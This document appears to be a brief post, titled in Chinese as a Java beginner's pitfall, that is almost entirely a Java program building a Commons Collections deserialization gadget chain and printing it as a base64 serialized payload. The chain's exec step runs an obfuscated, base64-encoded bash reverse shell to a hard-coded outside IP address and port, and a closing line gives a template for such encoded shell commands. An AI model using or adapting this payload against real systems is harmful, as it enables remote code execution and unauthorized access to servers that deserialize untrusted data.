JAVA入门的坑

public class cc {

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {

        Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};

        Transformer[] transformers = new Transformer[]{

                new ConstantTransformer(Runtime.class),

                new eval("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),

                new eval("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),

                new eval("exec", new Class[]{String.class}, new String[]{"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNTAuMTA5LjE1OC4yMjAvOTAwMSAwPiYx}|{base64,-d}|{bash,-i}"}),

                new ConstantTransformer(1)

        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);

        Map hashMap = new HashMap();

        Map decorate = LazyMap.decorate(hashMap, chainedTransformer);

        TiedMapEntry key = new TiedMapEntry(decorate, "key");

        HashSet hashSet = new HashSet(1);

        hashSet.add(key);

        decorate.remove("key");

        Field field = ChainedTransformer.class.getDeclaredField("iTransformers");

        field.setAccessible(true);

        field.set(chainedTransformer, transformers);

        ByteArrayOutputStream buffer = new ByteArrayOutputStream();

        ObjectOutputStream output = new ObjectOutputStream(buffer);

        output.writeObject(hashSet);

        //base64 编码

        String payload = Base64.getEncoder().encodeToString(buffer.toByteArray());

        System.out.println(payload);

//        decoserize decoserize = new decoserize();

//        decoserize.decoserize(payload);

    }

}

bash -c {echo,base64过的弹shell语句}|{base64,-d}|{bash,-i}